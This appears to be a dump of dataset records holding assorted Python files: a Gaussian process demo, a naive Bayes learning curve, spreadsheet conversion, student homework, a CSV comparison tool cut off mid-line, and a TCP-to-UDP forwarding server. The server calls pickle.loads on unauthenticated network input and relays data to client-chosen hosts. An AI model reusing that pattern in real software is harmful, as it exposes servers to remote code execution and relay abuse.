+{"seq_id":"458492413","text":"#%% Imports\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.gaussian_process import kernels\nimport sklearn.gaussian_process as sk_gauss\n#%% Prepare true function\ndef true_func(x):\n '''\n Returns true function\n :param np.array x:\n :return y = f(x)\n :rtyoe: np.array\n '''\n y = np.sin(2*x*np.pi)\n return y\n\n#%% setup train data\n\n# Training data is 20 points\ntrain_x = np.random.normal(0, 1., 20)\n# True function is sin(2*pi*x) with gaussian noise\ntrain_y = true_func(train_x) + np.random.normal(loc=0, scale=0.2, size=len(train_x))\n\n# Plot true graph\nxx = np.linspace(-3, 3, 200)\nplt.scatter(train_x, train_y, label='Data')\nplt.plot(xx, true_func(xx), '--', color='C0', label='True function')\nplt.grid()\nplt.legend()\nplt.title('Training Data')\nplt.savefig('GPR_training_data.png', dpi=500)\n\n#%% Make model with Scikit-learn\nkernel = kernels.RBF(1.0, (1e-3, 1e3)) + kernels.ConstantKernel(1.0, (1e-3, 1e3)) + kernels.WhiteKernel()\nclf = sk_gauss.GaussianProcessRegressor(\n kernel=kernel,\n alpha=1e-10,\n optimizer='fmin_l_bfgs_b',\n n_restarts_optimizer=20,\n normalize_y=True\n)\n\n#%% Fit the model\n# X's shape must be changed to (n_samples, n_features)\nclf.fit(train_x.reshape(-1, 1), train_y)\n\nprint(clf.kernel_)\n\n#%% plot result\ntest_x = np.linspace(-3, 3, 200).reshape(-1, 1)\npred_mean, pred_std = clf.predict(test_x, return_std = True)\n\ndef plot_result(test_x, mean, std):\n plt.plot(test_x[:, 0], mean, color='C0', label='predict mean')\n plt.fill_between(test_x[:, 0], mean + std, mean - std, color='C0', alpha=0.3, label='1 sigma confidence')\n plt.plot(train_x, train_y, 'o', label='training data')\n plt.grid()\n\nplot_result(test_x, pred_mean, pred_std)\nplt.title('Prediction by Scikit-learn')\nplt.legend()\nplt.savefig('sklearn_predict.png', dpi=500)\n","sub_path":"BayesianLearning/GaussianProcessRegression.py","file_name":"GaussianProcessRegression.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"124685335","text":"import socket\nimport struct\nimport sys\nimport pickle\nfrom datetime import datetime\n\nclass ObjectToPass:\n data = None\n address = None\n target = None\n targetPort = None\n def __init__(self, data,address,target,targetPort):\n self.data = data\n self.address = address\n self.target = target\n self.targetPort = targetPort\n\n\ndef sendToFinalTarget(data,returnAddress,targetAddress,targetPort):\n print(str(datetime.now()) + ' Sending data to ', targetAddress, targetPort)\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\n sock.sendto(data, (targetAddress, targetPort))\n\n\nHOST = '0.0.0.0'\nPORT = 4545\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\ns.bind((HOST, PORT))\nprint(str(datetime.now()) + ' Listening')\ns.listen()\nwhile True:\n s.listen()\n\n conn, addr = s.accept()\n print(str(datetime.now()) + ' Connected from', addr)\n\n data = conn.recv(4096)\n data_variable = pickle.loads(data)\n conn.close()\n #print(data_variable.data, data_variable.address, data_variable.target, data_variable.targetPort)\n # Access the information by doing data_variable.process_id or data_variable.task_id etc..,\n sendToFinalTarget(data_variable.data, data_variable.address, data_variable.target, data_variable.targetPort)\n print(str(datetime.now()) + ' Data received from client and forwarwded')\n","sub_path":"mcast_server.py","file_name":"mcast_server.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"275971765","text":"'''Validate sample size for naive bayes\nThis script draws empirical learning curve for predicting sample size needed to develop\nlearning algorithm for e-cig clasisfication\n\nref 1: algorithm paper \nhttps://bmcmedinformdecismak.biomedcentral.com/articles/10.1186/1472-6947-12-8 \n'''\n\nimport csv, sys, numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.naive_bayes import GaussianNB\n\n\nCIGTOTAL = 4\nHALO = 1\nJUUL = 2\nBLU = 3\nV2 = 4\n\n# helper functions \ndef getY(predicted, actual):\n\tif len(predicted) != len(actual):\n\t\tsys.exit(\"Empirical training error: number of prediction and actual label does not match\")\n\terror = 0.\n\tfor i in range(len(predicted)):\n\t\tif predicted[i] != actual[i]:\n\t\t\terror += 1.\n\treturn ((len(predicted) - error) / len(predicted))\n\n\n# step 1: see empirical learning curve \nprint('Read training data...')\nwith open('training_all.csv', 'r') as reader:\n train_label = []\n train_data = []\n for line in reader.readlines():\n data = list(map(float, line.rstrip().split(',')))\n train_label.append(data[0])\n train_data.append(data[1:])\nprint('Loaded ' + str(len(train_label)))\n\n\nprint('Read testing data...')\nwith open('testing.csv', 'r') as reader:\n test_data = []\n for line in reader.readlines():\n pixels = list(map(float, line.rstrip().split(',')))\n test_data.append(pixels)\nprint('Loaded ' + str(len(test_data)))\n\nprint('Empirical learning curve for RF generated')\nX, Y = ([] for i in range(2))\n\ntest_label = [train_label[i] for i in range(len(test_data))]\noriginal_test_data = np.array(test_data) # same for every iteration\nclf = GaussianNB()\nfor sample_size in range(1, len(train_label) / CIGTOTAL):\n\t# train with given sample size\n\tX.append(sample_size)\n\ttrain_subset_label = [ train_label[i] for i in range(CIGTOTAL * sample_size) ]\n\ttrain_subset_data = [ train_data[i] for i in range(CIGTOTAL * sample_size) ]\n\ttrain_subset_label = np.array(train_subset_label)\n\ttrain_subset_data = np.array(train_subset_data)\n\tclf.fit(train_subset_data, train_subset_label)\n\t\n\t# test the trained classifier\n\tpredict = clf.predict(original_test_data)\n\tY.append(getY(predict, test_label))\n\nfig, ax = plt.subplots(1, figsize=(11,8))\nax.plot(X, Y)\nplt.xticks(np.arange(1, len(train_label) / CIGTOTAL, 1.))\nplt.xlabel('sample size')\nplt.ylabel('accuracy')\nplt.title('Empirical Gaussian NB learning curve for Halo, Juul, Blu, and V2')\nfig.savefig('2_ss_lc/nb_lc.png')\nplt.show()\n\t\n\n\n\n\n\n","sub_path":"analysis/ec2/e_ss_nb.py","file_name":"e_ss_nb.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"487359709","text":"import xlrd\nimport csv\n\nx = xlrd.open_workbook('/home/giakou/Desktop/MICROMEGAS_THESSALONIKI_MEASUREMENTS/External_panel_planarity_measurements.xlsx')\nx1 = x.sheet_by_name('Sheet1')\ncsvfile = open('/home/giakou/Desktop/MICROMEGAS_THESSALONIKI_MEASUREMENTS/External_panel_planarity_measurements.csv', 'wb')\nwritecsv = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\na=['MEASSITEHASH','EQENTRYID','CONTEXTNAME','MEASVALUE','PERCENTAGEMEAS','ISVALIDFLAG','INDEXHASH','MEASTIME','SHIFTER','WEBSITEUSERCR']\nb=['',x1.cell(5,0).value,'DT_PAN_PLAN_MIN',x1.cell(29, 0).value,'','T','skfh_1',x1.cell(5,2).ctype,x1.cell(5,4).value,'ggiakous']\nc=['',x1.cell(5,0).value,'DT_PAN_PLAN_MAX',x1.cell(29,2).value,'','T','skfh_1',x1.cell(5,2).value,x1.cell(5,4).value,'ggiakous']\nd=['',x1.cell(5,0).value,'DT_PAN_PLAN_AVG',x1.cell(29,4).value,'','T','skfh_1',x1.cell(5,2).value,x1.cell(5,4).value,'ggiakous']\ne=['',x1.cell(5,0).value,'DT_PAN_PLAN_RMS',x1.cell(29,6).value,'','T','skfh_1',x1.cell(5,2).value,x1.cell(5,4).value,'ggiakous']\nwritecsv.writerow(a)\nwritecsv.writerow(b)\nwritecsv.writerow(c)\nwritecsv.writerow(d)\nwritecsv.writerow(e)\ncsvfile.close()\n\n\n#############################################################\n\n#import xlrd\n#import os.path\n\n#wb = xlrd.open_workbook(os.path.join('/home/giakou/Desktop/MICROMEGAS_THESSALONIKI_MEASUREMENTS','Central_panel_planarity.xlsx'))\n#wb.sheet_names()\n#sh = wb.sheet_by_index(0)\n#i = 1\n#with open(\"Central_panel_planarity_and_thickness.txt\", \"a\") as my_file:\n# while sh.cell(i,11).value != 0:\n# Load = sh.cell(i,11).value\n # all_d = sh.col_values(i, 13, 19)\n # DB1 = Load + \" \" + (\" \".join(all_d))\n # my_file.write(DB1 + '\\n')\n # i += 1\n\n############################################################\n\n#def xls_to_csv(Central_panel_planarity.xls, Sheet3, Central_panel_planarity_and_thickness.csv):\n # import xlrd\n # import csv\n # workbook = xlrd.open_workbook(Central_panel_planarity.xls)\n # worksheet = workbook.sheet_by_name(Sheet3)\n #csvfile = open(Central_panel_planarity_and_thickness.csv, 'wb')\n# wr = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\n\n# for rownum in xrange(worksheet.nrows):\n # wr.writerow(list(x.encode('utf-8') if type(x) == type(u'') else x\n # for x in worksheet.row_values(rownum))))\n\n # csvfile.close()\n\n#\n","sub_path":"Excel_Templates_SCRIPTS/Drift_Boards/xls_to_csv.py","file_name":"xls_to_csv.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"357301003","text":"# Задание-1:\n# Напишите функцию, округляющую полученное произвольное десятичное число\n# до кол-ва знаков (кол-во знаков передается вторым аргументом).\n# Округление должно происходить по математическим правилам (0.6 --> 1, 0.4 --> 0).\n# Для решения задачи не используйте встроенные функции и функции из модуля math.\n\ndef my_round(number, ndigits):\n numberfloat = float(number)\n numr = int(ndigits)\n number1 = int(numberfloat*10**(ndigits+1))\n print(\" input plural to 10 and to numr+1\",str(number1))\n # delete\n number3 = int(number1/10)*10\n difn = number1-number3\n print(str(difn))\n # find difference\n if (difn > 4):\n number3 = (number3/10+1)/10**(ndigits)\n number3 = (number3/10)/10**(ndigits)\n print(\" result \", str(number3))\n\nmy_round(1234577.7,3)\n\n\n\n# Задание-2:\n# Дан шестизначный номер билета. Определить, является ли билет счастливым.\n# Решение реализовать в виде функции.\n# Билет считается счастливым, если сумма его первых и последних цифр равны.\n# !!!P.S.: функция не должна НИЧЕГО print'ить\n\ndef lucky_ticket(ticket_number):\n if len(str(ticket_number)) < 6:\n return \"Error ticket number < 6\"\n num1 = int(ticket_number/10**3)\n num2 = ticket_number - num1*10**3\n print(\" num 1\", num1, \" num2 \", num2 )\n\n # print()\n\n def calc_sum(num1):\n s1 = 0\n i = 0\n while True :\n i=i+1\n res1 = int(num1/10**i)*10**i\n dif = num1-res1\n if i > 1:\n dif = int(dif /10**(i-1))\n if dif == num1:\n s1 = s1 +dif;\n break;\n s1 = s1 +dif;\n if res1 == 0:\n break\n return s1\n\n s1 = calc_sum(num1)\n s2 = calc_sum(num1)\n print( \" s1 \",s1, \" s2 \", s2)\n\n\n\nprint(lucky_ticket(123006))\n","sub_path":"lesson03/home_work/hw03_easy.py","file_name":"hw03_easy.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"128781109","text":"#! C:\\Python25\\python.exe\r\n#coding:utf-8\r\n#===================================================\r\n# Owner : Yzhao1\r\n# Function :\r\n# This file used to compare the data in the csv files\r\n# Attention:\r\n# compare any data which can translate to float_f\r\n\r\n# Date :2013/4/15\r\n\r\n#===================================================\r\nimport os,sys,csv\r\nimport re,configparser\r\nimport optparse\r\nimport traceback\r\n\r\nxlib = os.path.join(os.path.dirname(__file__),'..','..','bin','xlib')\r\nxlib = os.path.abspath(xlib)\r\nif xlib in sys.path:\r\n pass\r\nelse:\r\n sys.path.append(xlib)\r\nfrom xConf import get_conf_options\r\ncase_list_path = os.path.join(__file__,'..','..','..','conf','case_list.conf')\r\ncase_list_path = os.path.abspath(case_list_path)\r\ncase_group_dic = get_conf_options(case_list_path)['case_list']\r\nparam_conf_file = os.path.join(os.path.dirname(__file__),'param.conf')\r\ngroup_cases= {}\r\nfor group,cases in list(case_group_dic.items()):\r\n cases = cases.split()\r\n for item in cases:\r\n group_cases.setdefault(group,[]).append(item)\r\nall_groups = list(group_cases.keys())\r\nthreshold = 0.15\r\nwin_lose = 0.05\r\nstatistic_tie_list = [['win','win'],\r\n ['tie','tie'],\r\n ['lose','lose'],\r\n ['less15','<-0.15'],\r\n ['less15_5','-0.15~-0.05'],\r\n ['less5_5','-0.05~-0.05'],\r\n ['more5_15','0.05~-0.15'],\r\n ['more15','>0.15']]\r\n\r\ndef print_log(str):\r\n print(str)\r\ndef read_csv_note(csv_file):\r\n ''' This function used to read the data from csv file\r\n At here the csv file should can contain note before case data\r\n \r\n After the note lines should be the title as \"Design,.....\":\r\n asdfasfasdfasdfasdfas |\r\n fd | \r\n df |\r\n ffea | these are the note lines\r\n Desing,Lut.......\r\n case1,data1,.....\r\n ......\r\n the return data is a dictionary\r\n dict[desing] = line1\r\n '''\r\n csv_dic = {}\r\n note= []\r\n begin = 0\r\n hot_lines = []\r\n old_titles = []\r\n for id1,line in enumerate(open(csv_file)):\r\n line = line.strip()\r\n if begin == 0:\r\n if line.startswith('Design') or line.startswith('design'):\r\n begin = 1\r\n line = line.replace('#','')\r\n old_titles = line.split(',')\r\n #line2 = line.replace('LE','Slice')\r\n line2 = line.replace('FitPeakMem','ParPeakMem')\r\n hot_lines.append(line2)\r\n continue\r\n else:\r\n note.append(line)\r\n else:\r\n line = line.replace('#','')\r\n hot_lines.append(line) \r\n ori_dict = csv.DictReader(hot_lines)\r\n '''for item in ori_dict:\r\n design = item.get('Design','None')\r\n if design != 'None' and design != '':\r\n csv_dic[design] = item\r\n else:\r\n pass\r\n #print item\r\n title = ori_dict.fieldnames '''\r\n return [ori_dict,note,old_titles]\r\ndef process_note(note=[]):\r\n '''\r\n This function used to process of the note from csv file.\r\n the note in the csv file will be read as:\r\n [key1]:******************\r\n ***************\r\n [key2]:***********\r\n ...\r\n After the process, this function will return a dictionary as:\r\n dict = {key1: ********,\r\n key2:*********,\r\n ....}\r\n '''\r\n dict_retrun = {}\r\n flag = 0\r\n note_key = re.compile(r'^\\[([\\w\\s]+)\\]')\r\n key = 'None'\r\n for line in note:\r\n line = line.strip()\r\n match_line = ''\r\n match_line = note_key.search(line)\r\n if match_line:\r\n flag = 1\r\n else:\r\n flag = 0\r\n if flag == 1:\r\n key = match_line.group(1)\r\n start = match_line.start()\r\n end = match_line.end()\r\n value = ''\r\n for i in range(0,start):\r\n #dict_retrun[key] = \r\n value = value+ line[i]\r\n for i in range(end,len(line)):\r\n value = value + line[i]\r\n value = value.replace(',',' ')\r\n value =value.strip()\r\n if value:\r\n dict_retrun.setdefault(key,[]).append(value.strip())\r\n else:\r\n line = line.replace(',',' ')\r\n line = line.strip()\r\n if dict_retrun:\r\n if line: \r\n dict_retrun.setdefault(key,[]).append(line.strip())\r\n else:\r\n if line:\r\n dict_retrun.setdefault('None',[]).append(line.strip())\r\n return dict_retrun\r\ndef float_f(string):\r\n string = str(string)\r\n try:\r\n f_v = float(string)\r\n f_v = float(\"%.3f\"%f_v)\r\n return f_v\r\n except:\r\n return '-'\r\n\r\nclass csv_content:\r\n def __init__(self,csv_file,no_fmax=\"\"):\r\n self.csv_file = csv_file\r\n if not os.path.isfile(self.csv_file):\r\n print('Error can not get file:%s \\n\\n\\n\\n'%self.csv_file)\r\n sys.exit(-1)\r\n self.ori_dict,note_list,self.old_titles = read_csv_note(self.csv_file)\r\n self.note = process_note(note_list)\r\n self.csv_dic = {}\r\n re_lettter = re.compile(r'[a-zA-Z]')\r\n re_num = re.compile(r'\\d')\r\n self.skip_case = []\r\n self.alut_lut = ''\r\n self.no_fmax = no_fmax\r\n for item in self.ori_dict:\r\n design = item.get('Design','None')\r\n if design != 'None' and design != '':\r\n self.csv_dic[design] = item\r\n else:\r\n pass\r\n #---------------------------------------#\r\n # at here, if the fmax value is not true,\r\n # all the other value will be ingored\r\n #--------------------------------------#\r\n for case,dic in list(self.csv_dic.items()):\r\n if 'fmax' in list(dic.keys()):\r\n fmax_value = dic.get('fmax','')\r\n else:\r\n fmax_value = dic.get('Fmax','')\r\n if not self.no_fmax:\r\n if not fmax_value or fmax_value=='-' or fmax_value=='_' or re_lettter.search(fmax_value):\r\n self.skip_case.append(case)\r\n for k in list(self.csv_dic[case].keys()):\r\n v = self.csv_dic[case][k]\r\n try:\r\n if re_lettter.search(v):\r\n #print case,k,v\r\n pass\r\n else:\r\n if k.lower() == 'design':\r\n pass\r\n else:\r\n pass # self.csv_dic[case][k] = '-'\r\n # show all data\r\n except:\r\n self.csv_dic[case][k] = '-'\r\n #-----------------------------------#\r\n # at here, for the data of LUT and ALUT\r\n # if ALUT has value, use the ALUT value \r\n # repalce LUT value\r\n #------------------------------------#\r\n for case,dic in list(self.csv_dic.items()):\r\n if 'ALUT' in list(dic.keys()) and 'LUT' in list(dic.keys()):\r\n alut_value = dic.get('ALUT','')\r\n lut_value = dic.get('LUT','')\r\n if alut_value and re_num.search(alut_value):\r\n self.csv_dic[case]['LUT'] = alut_value\r\n self.alut_lut = 1\r\n if 'LE' in list(dic.keys()):\r\n v = self.csv_dic[case].get('LE','-')\r\n self.csv_dic[case]['Slice'] = v\r\n self.title = self.ori_dict.fieldnames\r\n self.average_dict = {}\r\n self.gap_dict = {}\r\n for t in self.title:\r\n self.average_dict[t] = []\r\n self.gap_dict[t]= []\r\n def set_average_gap(self,skip_case_list):\r\n average_dict_v = {}\r\n gap_dict_v = {}\r\n for case,case_dict in list(self.csv_dic.items()):\r\n if case in skip_case_list:\r\n continue\r\n for id1,t in enumerate(self.title):\r\n value = case_dict[t]\r\n value_f = float_f(value)\r\n t = self.old_titles[id1] # use the old title here \r\n average_dict_v.setdefault(t,[]).append(value_f)\r\n gap_dict_v.setdefault(t,[]).append(value_f)\r\n \r\n for t in self.old_titles:\r\n total_value = 0\r\n length = 0\r\n for v in average_dict_v.get(t,[]):\r\n try:\r\n total_value = total_value + v\r\n length = length + 1\r\n except:\r\n pass\r\n try:\r\n #print total_value,length\r\n self.average_dict[t] = str(total_value/length)\r\n except:\r\n self.average_dict[t] = '-'\r\n try:\r\n gap_dict_v[t] = list( set(gap_dict_v[t]) )\r\n if '-' in gap_dict_v[t]:\r\n gap_dict_v[t].remove('-')\r\n self.gap_dict[t] = str(max(gap_dict_v[t]) - min(gap_dict_v[t]))\r\n except:\r\n self.gap_dict[t] = '-'\r\n def get_average_gap(self):\r\n return [self.average_dict,self.gap_dict]\r\n \r\n \r\n \r\nclass write_csv:\r\n def __init__(self,src,cmps,output,comp_title,original_title,show_design,no_fmax=\"\"):\r\n self.src = src \r\n self.cmps = cmps\r\n self.output = output\r\n self.comp_title = comp_title\r\n self.original_title = original_title\r\n self.show_design = show_design\r\n self.skip_case_list = []\r\n self.lines = {}\r\n self.note_line = []\r\n self.tie_win = {}\r\n self.select_group_list = []\r\n self.file_name_line = ''\r\n self.average_newways={}\r\n self.no_fmax = no_fmax\r\n for num,cmp in enumerate(self.cmps):\r\n self.tie_win[num] = {}\r\n self.skip_case_list +=cmp.skip_case\r\n self.average_newways[num]={}\r\n self.skip_case_list +=self.src.skip_case\r\n key = list(self.src.csv_dic.keys())[0]\r\n for group in all_groups:\r\n group_list = group_cases[group]\r\n if key in group_list:\r\n self.select_group_list = group_list\r\n first_case = 1\r\n break\r\n if not self.select_group_list:\r\n self.select_group_list = list(self.src.csv_dic.keys())\r\n \r\n def original_part(self):\r\n average_line = []\r\n gap_line = []\r\n if self.original_title[0].lower()!='design':\r\n print('Please make sure the first number is \"Design\" :%s'%self.original_title)\r\n return 1 \r\n self.original_part_title = self.original_title\r\n if self.src.alut_lut:\r\n self.original_part_title = [t.replace('LUT','ALUT') for t in self.original_title]\r\n if 'LE' in self.src.old_titles:\r\n self.original_part_title = [t.replace('Slice','LE') for t in self.original_part_title]\r\n if 'FitPeakMem'in self.src.old_titles: \r\n self.original_part_title = [t.replace('ParPeakMem','FitPeakMem') for t in self.original_part_title]\r\n for id1,item in enumerate(self.cmps):\r\n replace_t = []\r\n if 'LE' in item.old_titles:\r\n replace_t = [t.replace('Slice','LE') for t in self.original_title]\r\n if 'FitPeakMem'in item.old_titles: \r\n replace_t = [t.replace('ParPeakMem','FitPeakMem') for t in replace_t]\r\n if not replace_t:\r\n replace_t = [ t for t in self.original_title]\r\n if item.alut_lut:\r\n replace_t = [t.replace('LUT','ALUT') for t in replace_t]\r\n use = [\"#\"*(id1+1)+t for t in replace_t[1:] ]\r\n self.original_part_title = self.original_part_title + use\r\n for id1,case in enumerate(self.select_group_list):\r\n for t in self.original_title:\r\n try:\r\n value = self.src.csv_dic[case][t]\r\n except:\r\n value = '-'\r\n self.lines.setdefault(id1+1,[]).append(value)\r\n \r\n for cmp in self.cmps:\r\n for t in self.original_title[1:]:\r\n try:\r\n value = cmp.csv_dic[case][t]\r\n except:\r\n value = '-'\r\n self.lines.setdefault(id1+1,[]).append(value)\r\n self.skip_case_list = self.src.skip_case \r\n for cmp in self.cmps:\r\n self.skip_case_list += cmp.skip_case\r\n self.skip_case_list = list( set(self.skip_case_list) )\r\n self.src.set_average_gap(self.skip_case_list)\r\n src_average_dict,src_gap_dict = self.src.get_average_gap()\r\n for t in self.original_title:\r\n if t == 'Slice' and 'LE' in self.src.old_titles:\r\n t = 'LE'\r\n if t == 'ParPeakMem' and 'FitPeakMem' in self.src.old_titles:\r\n t = 'FitPeakMem'\r\n v = src_average_dict.get(t,'-')\r\n if not v:\r\n v = '-'\r\n average_line.append(v)\r\n g = src_gap_dict.get(t,'-')\r\n if not g:\r\n g = '-'\r\n gap_line.append(g)\r\n \r\n for cmp in self.cmps:\r\n cmp.set_average_gap(self.skip_case_list)\r\n average_dict,gap_dict = cmp.get_average_gap()\r\n for t in self.original_title[1:]:\r\n if t == 'Slice' and 'LE' in cmp.old_titles:\r\n t = 'LE'\r\n if t == 'ParPeakMem' and 'FitPeakMem' in cmp.old_titles:\r\n t = 'FitPeakMem'\r\n v = average_dict.get(t,'-')\r\n if not v:\r\n v = '-'\r\n average_line.append(v)\r\n \r\n g = gap_dict.get(t,'-')\r\n if not g:\r\n g = '-'\r\n gap_line.append(g)\r\n average_line = average_line\r\n gap_line = gap_line\r\n self.lines['average'] = average_line\r\n self.lines['gap'] = gap_line\r\n \r\n def compare_part(self):\r\n self.firt_compare_title = []\r\n \r\n for id1,item in enumerate(self.cmps):\r\n average_title = ['#'*id1+'Average_'+t for t in self.comp_title]\r\n comp_title_show = ['2#'*(id1+1)+t for t in self.comp_title]\r\n self.firt_compare_title += comp_title_show + average_title\r\n for id1,case in enumerate(self.select_group_list):\r\n src_values = []\r\n for t in self.comp_title:\r\n if case not in list(self.src.csv_dic.keys()):\r\n value1 = '-'\r\n else:\r\n if t == 'Slice' and 'LE' in list(self.src.csv_dic[case].keys()):\r\n value1 = '-'\r\n else:\r\n try:\r\n value1 = self.src.csv_dic[case][t]\r\n except:\r\n value1 = '-'\r\n src_values.append(value1)\r\n #print src_values\r\n for num,cmp in enumerate(self.cmps):\r\n cmp_values = []\r\n for id2,t in enumerate(self.comp_title):\r\n if t in list(self.tie_win[num].keys()):\r\n pass\r\n else:\r\n self.tie_win[num][t] = {}\r\n self.tie_win[num][t]['win'] = 0\r\n self.tie_win[num][t]['tie'] = 0\r\n self.tie_win[num][t]['lose'] = 0\r\n self.tie_win[num][t]['less15'] = 0\r\n self.tie_win[num][t]['less15_5'] = 0\r\n self.tie_win[num][t]['less5_5'] = 0\r\n self.tie_win[num][t]['more5_15'] = 0\r\n self.tie_win[num][t]['more15'] = 0\r\n win = 0\r\n tie = 0\r\n lose = 0\r\n less15 = 0\r\n less15_5 = 0\r\n less5_5 = 0\r\n more5_15 = 0\r\n more15 = 0\r\n if case not in list(cmp.csv_dic.keys()):\r\n value2 = '-'\r\n else:\r\n if case not in list(cmp.csv_dic.keys()):\r\n value2 = '-'\r\n else:\r\n if t == 'Slice' and 'LE' in list(cmp.csv_dic[case].keys()):\r\n value2 = '-'\r\n else:\r\n try:\r\n value2 = cmp.csv_dic[case][t]\r\n except:\r\n value2 = '-'\r\n \r\n try:\r\n #print float_f(src_values[id2]),src_values,\"#\",id2,src_values[id2],float_f(value2)\r\n value = float_f(value2)/float_f(src_values[id2]) -1\r\n value = float_f(value)\r\n if value < 0 - win_lose:\r\n lose = lose + 1\r\n elif value > win_lose:\r\n win = win + 1\r\n else:\r\n tie = tie + 1\r\n if value < 0 - threshold:\r\n less15 = less15 + 1\r\n elif -threshold<=value<-0.05:\r\n less15_5 = less15_5 + 1\r\n elif -0.05<=value<0.05:\r\n less5_5 = less5_5 + 1\r\n elif 0.05<=value <0.15:\r\n more5_15 = more5_15 + 1\r\n elif value >= threshold:\r\n more15 = more15 + 1\r\n else:\r\n pass\r\n except:\r\n value = '-'\r\n tie = tie + 1\r\n less5_5 = less5_5 + 1\r\n self.tie_win[num][t]['win'] += win \r\n self.tie_win[num][t]['tie'] += tie\r\n self.tie_win[num][t]['lose'] += lose\r\n self.tie_win[num][t]['less15'] += less15\r\n self.tie_win[num][t]['less15_5'] += less15_5\r\n self.tie_win[num][t]['less5_5'] += less5_5\r\n self.tie_win[num][t]['more5_15'] += more5_15\r\n self.tie_win[num][t]['more15'] += more15\r\n \r\n self.lines.setdefault(id1+1,[]).append(str(value))\r\n self.average_newways[num].setdefault(t,[]).append(value)\r\n \r\n def compare_part_average_old(self): # this is the old ways\r\n src_average_dict,src_gap_dict = self.src.get_average_gap()\r\n for cmp in self.cmps:\r\n cmp.set_average_gap(self.skip_case_list)\r\n average_dict,gap_dict = cmp.get_average_gap()\r\n \r\n for id2,t in enumerate(self.comp_title):\r\n value1 = float_f( src_average_dict.get(t,'-'))\r\n value2 = float_f( average_dict.get(t,'-') )\r\n try:\r\n value = value2 / value1 -1\r\n except:\r\n value = '-'\r\n value = float_f(value)\r\n self.lines.setdefault('average',[]).append(str(value))\r\n for id2,t in enumerate(self.comp_title):\r\n self.lines.setdefault('average',[]).append('-')\r\n self.lines['average'].remove('-')\r\n self.lines['average'].insert(0,'Average')\r\n def compare_part_average(self): # this is the new ways\r\n \r\n for num,cmp in enumerate(self.cmps):\r\n \r\n for id2,t in enumerate(self.comp_title):\r\n use_list = self.average_newways[num][t]\r\n sum_v = 0\r\n num_v = 0\r\n for v in use_list:\r\n try:\r\n sum_v = sum_v + v\r\n num_v = num_v + 1\r\n except:\r\n pass\r\n try:\r\n value = sum_v / num_v\r\n except:\r\n value = '-'\r\n value = float_f(value)\r\n self.lines.setdefault('average',[]).append(str(value))\r\n for id2,t in enumerate(self.comp_title):\r\n self.lines.setdefault('average',[]).append('-')\r\n self.lines['average'].remove('-')\r\n self.lines['average'].insert(0,'Average')\r\n \r\n def compare_part_gap(self):\r\n src_average_dict,src_gap_dict = self.src.get_average_gap()\r\n for cmp in self.cmps:\r\n max_value = -10000000\r\n min_value = 1000000\r\n cmp_values = []\r\n cmp_average_dict,cmp_gap_dict = cmp.get_average_gap()\r\n for id2,t in enumerate(self.comp_title):\r\n value = '-'\r\n for id1,case in enumerate(self.select_group_list):\r\n try:\r\n f1 = float_f(cmp_gap_dict.get(t,'-'))\r\n f2 = float_f(src_gap_dict.get(t,'-'))\r\n value2 = float_f(f1/f2 -1)\r\n except:\r\n value2 = '-'\r\n if value2 != '-':\r\n try:\r\n max_value = max(max_value,value2)\r\n min_value = min(min_value,value2)\r\n value = max_value - min_value\r\n except:\r\n value = '-'\r\n \r\n self.lines.setdefault('gap',[]).append(str(value))\r\n for id2,t in enumerate(self.comp_title):\r\n self.lines.setdefault('gap',[]).append('-')\r\n self.lines['gap'].remove('-')\r\n self.lines['gap'].insert(0,'Gap')\r\n \r\n def compare_part_sub_average(self):\r\n src_average_dict,src_gap_dict = self.src.get_average_gap()\r\n for id1,case in enumerate(self.select_group_list):\r\n src_values = []\r\n for t in self.comp_title:\r\n try:\r\n value1 = self.src.csv_dic[case][t]\r\n except:\r\n value1 = '-'\r\n src_values.append(value1)\r\n #print src_values \r\n for cmp in self.cmps:\r\n average_dict,gap_dict = cmp.get_average_gap()\r\n cmp_values = []\r\n for id2,t in enumerate(self.comp_title):\r\n try:\r\n value2 = cmp.csv_dic[case][t]\r\n except:\r\n value2 = '-'\r\n try:\r\n #print float_f(src_values[id2]),src_values,\"#\",id2,src_values[id2],float_f(value2)\r\n value = float_f(value2)/float_f(src_values[id2]) -1\r\n value = float_f(value)\r\n except:\r\n value = '-'\r\n #-------------------#\r\n value1 = float_f( src_average_dict.get(t,'-'))\r\n value2 = float_f( average_dict.get(t,'-') )\r\n try:\r\n value_average = value2 / value1 -1\r\n except:\r\n value_average = '-'\r\n value_average = float_f(value_average)\r\n try:\r\n value = value - value_average\r\n except:\r\n value = '-'\r\n self.lines.setdefault(id1+1,[]).append(str(value))\r\n \r\n def write_tie_win(self):\r\n find = 0\r\n for item in self.show_title:\r\n self.lines.setdefault('z0',[]).append('')\r\n self.lines.setdefault('z4',[]).append('')\r\n if item.startswith('2#'):\r\n #item = item[1:]\r\n item = item.replace('2#','')\r\n if item in self.comp_title:\r\n if find == 0:\r\n self.lines.setdefault('z1win',[]).append('Win')\r\n self.lines.setdefault('z2tie',[]).append('Tie')\r\n self.lines.setdefault('z3lose',[]).append('Lose')\r\n self.lines.setdefault('z4less15',[]).append('change < -15%')\r\n self.lines.setdefault('z5less15_5',[]).append('-15%< change < -5%')\r\n self.lines.setdefault('z6less5_5',[]).append('-5%< change < +5%')\r\n self.lines.setdefault('z7more5_15',[]).append('+5%< change < +15%')\r\n self.lines.setdefault('z8more15',[]).append('+15% < change')\r\n \r\n v = self.tie_win[find/( len(self.comp_title) )][item]['win']\r\n self.lines.setdefault('z1win',[]).append(str(v))\r\n v = self.tie_win[find/( 